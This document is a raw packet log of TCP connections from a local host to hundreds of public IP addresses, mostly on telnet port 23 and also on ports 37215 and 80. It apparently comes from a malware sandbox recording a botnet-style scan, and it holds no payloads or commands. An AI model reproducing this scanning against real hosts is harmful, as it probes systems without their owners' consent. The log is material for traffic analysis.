Jan 2, 2024 06:23:50.198513985 CET	14265	23	192.168.2.23	82.247.10.82
Jan 2, 2024 06:23:50.198513031 CET	14265	23	192.168.2.23	120.226.132.30
Jan 2, 2024 06:23:50.198513985 CET	14265	23	192.168.2.23	152.81.90.139
Jan 2, 2024 06:23:50.198513031 CET	14265	23	192.168.2.23	104.3.110.249
Jan 2, 2024 06:23:50.198513031 CET	14265	23	192.168.2.23	143.75.216.165
Jan 2, 2024 06:23:50.198513031 CET	14265	23	192.168.2.23	149.227.88.77
Jan 2, 2024 06:23:50.198513985 CET	14265	23	192.168.2.23	5.214.32.195
Jan 2, 2024 06:23:50.198513985 CET	14265	23	192.168.2.23	200.12.108.245
Jan 2, 2024 06:23:50.198510885 CET	14265	23	192.168.2.23	188.214.143.99
Jan 2, 2024 06:23:50.198513985 CET	14265	23	192.168.2.23	149.40.58.66
Jan 2, 2024 06:23:50.198510885 CET	14265	23	192.168.2.23	54.12.251.72
Jan 2, 2024 06:23:50.198513985 CET	14265	23	192.168.2.23	174.199.123.98
Jan 2, 2024 06:23:50.198510885 CET	14265	23	192.168.2.23	117.81.3.89
Jan 2, 2024 06:23:50.198510885 CET	14265	23	192.168.2.23	81.170.109.57
Jan 2, 2024 06:23:50.198510885 CET	14265	23	192.168.2.23	24.54.244.52
Jan 2, 2024 06:23:50.198594093 CET	14265	23	192.168.2.23	199.182.162.42
Jan 2, 2024 06:23:50.198594093 CET	14265	23	192.168.2.23	144.122.186.33
Jan 2, 2024 06:23:50.198596954 CET	14265	23	192.168.2.23	14.141.45.99
Jan 2, 2024 06:23:50.198596954 CET	14265	23	192.168.2.23	47.249.195.117
Jan 2, 2024 06:23:50.198597908 CET	14265	23	192.168.2.23	204.233.112.126
Jan 2, 2024 06:23:50.198597908 CET	14265	23	192.168.2.23	207.7.149.210
Jan 2, 2024 06:23:50.198597908 CET	14265	23	192.168.2.23	36.183.66.230
Jan 2, 2024 06:23:50.198597908 CET	14265	23	192.168.2.23	121.124.21.29
Jan 2, 2024 06:23:50.198597908 CET	14265	23	192.168.2.23	4.151.251.173
Jan 2, 2024 06:23:50.198635101 CET	14265	23	192.168.2.23	94.138.24.26
Jan 2, 2024 06:23:50.198635101 CET	14265	23	192.168.2.23	53.76.156.164
Jan 2, 2024 06:23:50.198635101 CET	14265	23	192.168.2.23	4.35.88.232
Jan 2, 2024 06:23:50.198635101 CET	14265	23	192.168.2.23	123.109.52.41
Jan 2, 2024 06:23:50.198635101 CET	14265	23	192.168.2.23	190.137.53.227
Jan 2, 2024 06:23:50.198635101 CET	14265	23	192.168.2.23	118.213.34.167
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	70.91.25.170
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	128.86.213.56
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	1.218.96.91
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	110.241.152.4
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	9.124.148.119
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	145.244.6.184
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	94.28.111.252
Jan 2, 2024 06:23:50.198637009 CET	14265	23	192.168.2.23	59.190.55.203
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	188.118.73.97
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	159.235.175.109
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	105.17.49.244
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	193.0.149.8
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	157.25.145.59
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	54.83.44.24
Jan 2, 2024 06:23:50.198640108 CET	14265	23	192.168.2.23	14.197.14.253
Jan 2, 2024 06:23:50.198643923 CET	14265	23	192.168.2.23	204.85.9.242
Jan 2, 2024 06:23:50.198643923 CET	14265	23	192.168.2.23	106.200.233.121
Jan 2, 2024 06:23:50.198643923 CET	14265	23	192.168.2.23	212.99.233.0
Jan 2, 2024 06:23:50.198643923 CET	14265	23	192.168.2.23	47.86.100.251
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	199.24.172.117
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	190.113.19.150
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	144.122.255.92
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	149.210.84.108
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	126.3.17.55
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	198.73.94.47
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	149.156.10.242
Jan 2, 2024 06:23:50.198647976 CET	14265	23	192.168.2.23	133.99.176.219
Jan 2, 2024 06:23:50.198649883 CET	14265	23	192.168.2.23	94.216.114.255
Jan 2, 2024 06:23:50.198649883 CET	14265	23	192.168.2.23	61.120.115.173
Jan 2, 2024 06:23:50.198649883 CET	14265	23	192.168.2.23	100.29.204.97
Jan 2, 2024 06:23:50.198649883 CET	14265	23	192.168.2.23	1.21.46.37
Jan 2, 2024 06:23:50.198649883 CET	14265	23	192.168.2.23	139.105.20.82
Jan 2, 2024 06:23:50.198649883 CET	14265	23	192.168.2.23	135.122.107.208
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	139.74.59.114
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	126.45.41.203
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	122.62.111.10
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	59.45.93.63
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	116.173.237.254
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	144.115.248.106
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	202.189.113.2
Jan 2, 2024 06:23:50.198653936 CET	14265	23	192.168.2.23	146.235.79.97
Jan 2, 2024 06:23:50.198656082 CET	14265	23	192.168.2.23	37.18.186.33
Jan 2, 2024 06:23:50.198656082 CET	14265	23	192.168.2.23	119.225.174.15
Jan 2, 2024 06:23:50.198656082 CET	14265	23	192.168.2.23	115.217.7.149
Jan 2, 2024 06:23:50.198656082 CET	14265	23	192.168.2.23	121.170.67.136
Jan 2, 2024 06:23:50.198656082 CET	14265	23	192.168.2.23	14.249.120.3
Jan 2, 2024 06:23:50.198657036 CET	14265	23	192.168.2.23	97.248.116.221
Jan 2, 2024 06:23:50.198657036 CET	14265	23	192.168.2.23	42.36.60.74
Jan 2, 2024 06:23:50.198657036 CET	14265	23	192.168.2.23	122.107.167.24
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	184.243.67.213
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	106.140.165.234
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	48.28.100.32
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	161.117.81.109
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	45.41.7.183
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	207.61.84.87
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	136.25.162.85
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	137.154.23.97
Jan 2, 2024 06:23:50.198729992 CET	14265	23	192.168.2.23	187.54.115.10
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	133.191.151.40
Jan 2, 2024 06:23:50.198729992 CET	14265	23	192.168.2.23	88.236.88.153
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	25.211.37.210
Jan 2, 2024 06:23:50.198729992 CET	14265	23	192.168.2.23	50.61.189.211
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	173.120.32.221
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	1.194.56.102
Jan 2, 2024 06:23:50.198729992 CET	14265	23	192.168.2.23	90.4.203.111
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	17.204.103.104
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	9.32.167.143
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	1.232.32.17
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	69.129.108.134
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	50.230.92.109
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	201.174.64.215
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	39.64.62.139
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	69.187.33.123
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	14.34.191.83
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	135.145.98.153
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	194.71.110.27
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	157.252.67.54
Jan 2, 2024 06:23:50.198729038 CET	14265	23	192.168.2.23	187.177.143.240
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	103.201.195.163
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	67.188.9.66
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	201.57.188.87
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	36.17.89.192
Jan 2, 2024 06:23:50.198746920 CET	14265	23	192.168.2.23	138.2.220.220
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	110.176.24.81
Jan 2, 2024 06:23:50.198746920 CET	14265	23	192.168.2.23	80.146.105.222
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	129.187.138.240
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	171.83.108.207
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	51.5.64.32
Jan 2, 2024 06:23:50.198748112 CET	14265	23	192.168.2.23	23.54.10.35
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	147.35.185.103
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	112.245.128.7
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	71.88.173.197
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	75.60.244.163
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	113.237.82.57
Jan 2, 2024 06:23:50.198731899 CET	14265	23	192.168.2.23	101.208.131.44
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	91.179.83.164
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	43.250.242.85
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	71.197.190.79
Jan 2, 2024 06:23:50.198730946 CET	14265	23	192.168.2.23	101.63.74.48
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	47.235.25.28
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	63.252.155.120
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	223.212.38.145
Jan 2, 2024 06:23:50.198755026 CET	14265	23	192.168.2.23	79.158.93.73
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	49.40.229.19
Jan 2, 2024 06:23:50.198748112 CET	14265	23	192.168.2.23	191.143.135.114
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	192.53.62.63
Jan 2, 2024 06:23:50.198748112 CET	14265	23	192.168.2.23	36.181.91.98
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	66.56.183.41
Jan 2, 2024 06:23:50.198748112 CET	14265	23	192.168.2.23	41.217.63.243
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	91.9.10.112
Jan 2, 2024 06:23:50.198748112 CET	14265	23	192.168.2.23	68.131.219.238
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	24.171.58.3
Jan 2, 2024 06:23:50.198748112 CET	14265	23	192.168.2.23	27.122.151.150
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	208.228.251.213
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	86.180.139.165
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	63.155.7.133
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	2.234.30.233
Jan 2, 2024 06:23:50.198734045 CET	14265	23	192.168.2.23	191.9.167.26
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	153.39.62.63
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	114.85.20.255
Jan 2, 2024 06:23:50.198765993 CET	14265	23	192.168.2.23	206.251.145.123
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	71.27.148.229
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	123.176.148.157
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	87.143.179.110
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	43.97.100.196
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	148.131.182.242
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	73.242.123.38
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	201.26.155.213
Jan 2, 2024 06:23:50.198781013 CET	14265	23	192.168.2.23	132.249.63.2
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	203.60.134.219
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	84.74.28.196
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	104.137.72.222
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	191.51.15.205
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	27.132.145.72
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	117.162.24.151
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	176.61.211.57
Jan 2, 2024 06:23:50.198879004 CET	14265	23	192.168.2.23	126.84.191.69
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	43.139.197.159
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	107.146.205.225
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	61.0.91.64
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	147.58.182.7
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	161.206.215.93
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	97.125.193.135
Jan 2, 2024 06:23:50.198882103 CET	14265	23	192.168.2.23	84.134.193.128
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	68.53.138.79
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	158.70.244.214
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	75.106.161.125
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	68.196.198.205
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	43.187.138.45
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	217.147.247.253
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	112.106.100.127
Jan 2, 2024 06:23:50.198883057 CET	14265	23	192.168.2.23	220.112.7.26
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	19.237.3.96
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	23.99.161.28
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	113.34.43.105
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	40.211.75.104
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	204.141.91.193
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	158.142.88.180
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	151.164.89.13
Jan 2, 2024 06:23:50.198885918 CET	14265	23	192.168.2.23	222.93.22.215
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	9.228.77.152
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	5.255.111.228
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	34.84.125.211
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	13.157.238.155
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	36.236.104.189
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	51.35.147.6
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	207.147.121.180
Jan 2, 2024 06:23:50.198890924 CET	14265	23	192.168.2.23	1.233.192.46
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	82.215.57.29
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	35.207.103.60
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	201.254.76.17
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	94.63.69.138
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	139.255.207.11
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	147.12.181.4
Jan 2, 2024 06:23:50.198894978 CET	14265	23	192.168.2.23	217.252.86.72
Jan 2, 2024 06:23:50.198895931 CET	14265	23	192.168.2.23	12.150.215.39
Jan 2, 2024 06:23:50.198899031 CET	14265	23	192.168.2.23	140.16.21.112
Jan 2, 2024 06:23:50.198899031 CET	14265	23	192.168.2.23	136.54.24.139
Jan 2, 2024 06:23:50.198899031 CET	14265	23	192.168.2.23	73.149.96.88
Jan 2, 2024 06:23:50.198899984 CET	14265	23	192.168.2.23	115.141.177.205
Jan 2, 2024 06:23:50.198899984 CET	14265	23	192.168.2.23	48.17.24.252
Jan 2, 2024 06:23:50.198899984 CET	14265	23	192.168.2.23	101.7.239.37
Jan 2, 2024 06:23:50.198899984 CET	14265	23	192.168.2.23	149.65.75.41
Jan 2, 2024 06:23:50.198899984 CET	14265	23	192.168.2.23	120.153.69.44
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	184.229.95.5
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	99.184.108.216
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	57.48.211.69
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	84.145.145.188
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	210.80.68.32
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	158.172.240.106
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	125.149.161.65
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	171.198.227.229
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	185.171.180.252
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	206.159.177.123
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	38.205.229.117
Jan 2, 2024 06:23:50.198955059 CET	14265	23	192.168.2.23	206.228.185.247
Jan 2, 2024 06:23:50.198978901 CET	14265	23	192.168.2.23	211.167.83.123
Jan 2, 2024 06:23:50.198978901 CET	14265	23	192.168.2.23	168.126.204.8
Jan 2, 2024 06:23:50.198978901 CET	14265	23	192.168.2.23	4.34.35.111
Jan 2, 2024 06:23:50.198980093 CET	14265	23	192.168.2.23	120.149.137.7
Jan 2, 2024 06:23:50.198980093 CET	14265	23	192.168.2.23	208.83.159.92
Jan 2, 2024 06:23:50.198980093 CET	14265	23	192.168.2.23	68.38.211.57
Jan 2, 2024 06:23:50.198980093 CET	14265	23	192.168.2.23	171.142.216.165
Jan 2, 2024 06:23:50.198980093 CET	14265	23	192.168.2.23	132.4.5.202
Jan 2, 2024 06:23:50.198982000 CET	14265	23	192.168.2.23	118.105.55.164
Jan 2, 2024 06:23:50.198982000 CET	14265	23	192.168.2.23	117.154.160.241
Jan 2, 2024 06:23:50.198982000 CET	14265	23	192.168.2.23	143.255.190.152
Jan 2, 2024 06:23:50.198982000 CET	14265	23	192.168.2.23	58.150.166.22
Jan 2, 2024 06:23:50.198995113 CET	14265	23	192.168.2.23	219.11.128.144
Jan 2, 2024 06:23:50.199004889 CET	14265	23	192.168.2.23	126.215.161.73
Jan 2, 2024 06:23:50.199006081 CET	14265	23	192.168.2.23	136.137.75.160
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	36.195.22.202
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	77.93.115.93
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	168.162.253.39
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	170.68.81.21
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	119.156.247.68
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	173.21.60.38
Jan 2, 2024 06:23:50.199034929 CET	14265	23	192.168.2.23	200.74.152.181
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	129.27.204.230
Jan 2, 2024 06:23:50.199033022 CET	14265	23	192.168.2.23	31.6.143.177
Jan 2, 2024 06:23:50.199038029 CET	14265	23	192.168.2.23	191.73.1.61
Jan 2, 2024 06:23:50.199038029 CET	14265	23	192.168.2.23	13.180.175.215
Jan 2, 2024 06:23:50.199060917 CET	14265	23	192.168.2.23	102.0.252.182
Jan 2, 2024 06:23:50.199060917 CET	45206	23	192.168.2.23	182.253.187.98
Jan 2, 2024 06:23:50.226097107 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.267049074 CET	80	42508	94.253.89.24	192.168.2.23
Jan 2, 2024 06:23:50.267128944 CET	42508	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.267160892 CET	42508	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.267168999 CET	42508	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.267191887 CET	42520	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.290091991 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:50.310543060 CET	80	38636	89.218.57.128	192.168.2.23
Jan 2, 2024 06:23:50.310590982 CET	38636	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.310616970 CET	38636	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.310616970 CET	38636	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.310638905 CET	38648	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.318448067 CET	80	40736	184.29.129.7	192.168.2.23
Jan 2, 2024 06:23:50.318489075 CET	40736	80	192.168.2.23	184.29.129.7
Jan 2, 2024 06:23:50.322089911 CET	48512	37215	192.168.2.23	156.241.14.153
Jan 2, 2024 06:23:50.322092056 CET	51712	37215	192.168.2.23	156.247.18.93
Jan 2, 2024 06:23:50.332267046 CET	80	32940	172.121.35.80	192.168.2.23
Jan 2, 2024 06:23:50.332772970 CET	80	32940	172.121.35.80	192.168.2.23
Jan 2, 2024 06:23:50.332823992 CET	32940	80	192.168.2.23	172.121.35.80
Jan 2, 2024 06:23:50.363166094 CET	23	14265	188.214.143.99	192.168.2.23
Jan 2, 2024 06:23:50.377222061 CET	80	36362	24.236.125.84	192.168.2.23
Jan 2, 2024 06:23:50.377367020 CET	36362	80	192.168.2.23	24.236.125.84
Jan 2, 2024 06:23:50.377607107 CET	80	36376	24.236.125.84	192.168.2.23
Jan 2, 2024 06:23:50.379761934 CET	23	14265	51.222.255.218	192.168.2.23
Jan 2, 2024 06:23:50.390863895 CET	80	36362	24.236.125.84	192.168.2.23
Jan 2, 2024 06:23:50.390997887 CET	36362	80	192.168.2.23	24.236.125.84
Jan 2, 2024 06:23:50.391314030 CET	23	14265	24.54.244.52	192.168.2.23
Jan 2, 2024 06:23:50.408917904 CET	80	36376	24.236.125.84	192.168.2.23
Jan 2, 2024 06:23:50.409163952 CET	36376	80	192.168.2.23	24.236.125.84
Jan 2, 2024 06:23:50.447123051 CET	80	56166	113.198.35.222	192.168.2.23
Jan 2, 2024 06:23:50.447257996 CET	56166	80	192.168.2.23	113.198.35.222
Jan 2, 2024 06:23:50.493958950 CET	80	59224	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:50.494095087 CET	59276	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.494103909 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.494103909 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.494103909 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.496246099 CET	23	14265	39.124.161.253	192.168.2.23
Jan 2, 2024 06:23:50.496403933 CET	23	14265	149.210.84.108	192.168.2.23
Jan 2, 2024 06:23:50.497452021 CET	23	14265	90.117.50.182	192.168.2.23
Jan 2, 2024 06:23:50.497488022 CET	14265	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:50.497664928 CET	37215	24529	197.8.208.120	192.168.2.23
Jan 2, 2024 06:23:50.497705936 CET	24529	37215	192.168.2.23	197.8.208.120
Jan 2, 2024 06:23:50.497749090 CET	37215	24529	197.8.208.120	192.168.2.23
Jan 2, 2024 06:23:50.498507977 CET	23	14265	115.17.156.104	192.168.2.23
Jan 2, 2024 06:23:50.498847008 CET	80	38302	101.42.123.60	192.168.2.23
Jan 2, 2024 06:23:50.498887062 CET	38302	80	192.168.2.23	101.42.123.60
Jan 2, 2024 06:23:50.503415108 CET	23	14265	121.170.67.136	192.168.2.23
Jan 2, 2024 06:23:50.511219025 CET	23	14265	183.127.150.9	192.168.2.23
Jan 2, 2024 06:23:50.526315928 CET	23	14265	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:50.526355982 CET	14265	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:50.534229994 CET	80	42508	94.253.89.24	192.168.2.23
Jan 2, 2024 06:23:50.534512043 CET	80	42508	94.253.89.24	192.168.2.23
Jan 2, 2024 06:23:50.534548044 CET	42508	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.534832001 CET	80	42520	94.253.89.24	192.168.2.23
Jan 2, 2024 06:23:50.534873962 CET	42520	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.534873962 CET	42520	80	192.168.2.23	94.253.89.24
Jan 2, 2024 06:23:50.539347887 CET	80	18377	116.0.107.229	192.168.2.23
Jan 2, 2024 06:23:50.601191044 CET	23	14265	119.109.157.29	192.168.2.23
Jan 2, 2024 06:23:50.621565104 CET	80	38636	89.218.57.128	192.168.2.23
Jan 2, 2024 06:23:50.626481056 CET	80	38636	89.218.57.128	192.168.2.23
Jan 2, 2024 06:23:50.626527071 CET	38636	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.626537085 CET	80	38636	89.218.57.128	192.168.2.23
Jan 2, 2024 06:23:50.626568079 CET	38636	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.642235994 CET	80	38648	89.218.57.128	192.168.2.23
Jan 2, 2024 06:23:50.642281055 CET	38648	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.642301083 CET	38648	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:50.642307997 CET	18377	80	192.168.2.23	176.51.143.36
Jan 2, 2024 06:23:50.642312050 CET	18377	80	192.168.2.23	74.205.206.126
Jan 2, 2024 06:23:50.642319918 CET	18377	80	192.168.2.23	49.231.184.31
Jan 2, 2024 06:23:50.642339945 CET	18377	80	192.168.2.23	40.105.55.241
Jan 2, 2024 06:23:50.642339945 CET	18377	80	192.168.2.23	40.4.193.99
Jan 2, 2024 06:23:50.642339945 CET	18377	80	192.168.2.23	20.200.96.18
Jan 2, 2024 06:23:50.642339945 CET	18377	80	192.168.2.23	19.145.45.147
Jan 2, 2024 06:23:50.642347097 CET	18377	80	192.168.2.23	75.5.9.74
Jan 2, 2024 06:23:50.642347097 CET	18377	80	192.168.2.23	34.225.37.76
Jan 2, 2024 06:23:50.642347097 CET	18377	80	192.168.2.23	180.40.12.69
Jan 2, 2024 06:23:50.642347097 CET	18377	80	192.168.2.23	61.191.157.7
Jan 2, 2024 06:23:50.642362118 CET	18377	80	192.168.2.23	35.170.147.226
Jan 2, 2024 06:23:50.642366886 CET	18377	80	192.168.2.23	164.44.158.168
Jan 2, 2024 06:23:50.642371893 CET	18377	80	192.168.2.23	8.63.98.100
Jan 2, 2024 06:23:50.642371893 CET	18377	80	192.168.2.23	156.68.228.255
Jan 2, 2024 06:23:50.642371893 CET	18377	80	192.168.2.23	20.106.35.190
Jan 2, 2024 06:23:50.642375946 CET	18377	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:50.642385006 CET	18377	80	192.168.2.23	125.19.219.130
Jan 2, 2024 06:23:50.642386913 CET	18377	80	192.168.2.23	37.216.206.92
Jan 2, 2024 06:23:50.642386913 CET	18377	80	192.168.2.23	25.171.225.76
